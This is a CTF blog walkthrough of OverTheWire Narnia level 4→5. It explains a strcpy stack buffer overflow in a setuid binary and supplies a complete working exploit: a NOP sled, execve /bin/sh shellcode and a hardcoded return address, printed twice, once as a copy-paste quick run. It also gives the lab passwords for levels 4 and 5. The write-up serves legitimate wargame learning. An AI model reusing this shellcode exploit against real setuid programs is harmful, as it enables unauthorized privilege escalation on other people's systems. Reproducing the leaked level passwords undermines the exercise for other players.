Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Narnia Level 4 → 5 tutorial!!

Login

Use the password from Level 3→4 (in my run it was thaenohtai):

ssh narnia4@narnia.labs.overthewire.org -p 2226
# password: thaenohtai

Task

We have a binary /narnia/narnia4. Running it shows nothing:

cd /narnia
./narnia4
# (no output, just exits)

So we’ll check the source.


Source Code

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

extern char **environ;

int main(int argc, char **argv){
    int i;
    char buffer[256];

    for(i = 0; environ[i] != NULL; i++)
        memset(environ[i], '\0', strlen(environ[i]));

    if(argc > 1)
        strcpy(buffer,argv[1]);

    return 0;
}

Analysis

  • A 256-byte local buffer.
  • strcpy(buffer, argv[1]); → no bounds check.
  • So input longer than 256 will overflow and overwrite the saved return address.
  • environ is cleared → shellcode in env vars is useless this time.
  • We must inject our shellcode directly via argv.

A little bit of Theory

  • Offset to RET: 256 (buffer) + 4 (saved EBP) = 260 bytes.
  • Payload: NOP sled + shellcode + padding + RET.
  • RET must point inside the sled (avoid \x00).
  • Use setarch i386 -R env -i to disable ASLR and keep env empty (so addresses match inside & outside GDB).

Shellcode: standard 23-byte /bin/sh:

b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e"
b"\x89\xe3\x89\xc1\x89\xc2"
b"\xb0\x0b\xcd\x80"

Solution

1) Confirm offset

gdb /narnia/narnia4
(gdb) run $(python3 -c 'print("A"*260 + "BBBB")')

EIP shows 0x42424242 → confirmed RET offset.


2) Find return address

Set a breakpoint after strcpy:

(gdb) break *main+121
(gdb) run $(python3 -c 'print("A"*260)')
(gdb) x/200x $esp-400

You’ll see a big NOP sled in memory (0x90 bytes). Choose an address right in the middle, e.g. 0xffffd7b4.


3) Exploit with sled + shellcode

setarch i386 -R env -i /narnia/narnia4 "$(python3 - <<'PY'
import sys,struct
SLED  = b"\x90"*236
SHELL = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
         b"\x68\x2f\x62\x69\x6e"
         b"\x89\xe3\x89\xc1\x89\xc2"
         b"\xb0\x0b\xcd\x80")
PAD   = b"\x90"*(260 - len(SLED) - len(SHELL))
RET   = 0xffffd7b4   # pick from your GDB dump
sys.stdout.buffer.write(SLED+SHELL+PAD+struct.pack("<I",RET))
PY
)"

4) Verify

whoami
# narnia5
cat /etc/narnia_pass/narnia5

Password

From my run:

faimahchiy

Yours may differ depending on snapshot.


Troubleshooting

  • Segfault immediately → RET wrong. Redo x/200x $esp-400 and pick another address inside the NOP block.
  • Illegal instruction → your sled too small; expand to 200+ NOPs.
  • Still as narnia4 → confirm binary is SUID narnia5:
ls -l /narnia/narnia4
# -r-sr-x--- 1 narnia5 narnia4 ...
  • Payload truncated → Always use sys.stdout.buffer.write(...) in Python 3 (never print).

Copy-paste quick run

setarch i386 -R env -i /narnia/narnia4 "$(python3 - <<'PY'
import sys,struct
SLED  = b"\x90"*236
SHELL = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
         b"\x68\x2f\x62\x69\x6e"
         b"\x89\xe3\x89\xc1\x89\xc2"
         b"\xb0\x0b\xcd\x80")
PAD   = b"\x90"*(260 - len(SLED) - len(SHELL))
RET   = 0xffffd7b4
sys.stdout.buffer.write(SLED+SHELL+PAD+struct.pack("<I",RET))
PY
)"
whoami
cat /etc/narnia_pass/narnia5

Congrats 🎉 You exploited another classic stack buffer overflow with argv injection. Onward to Level 5 → 6!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with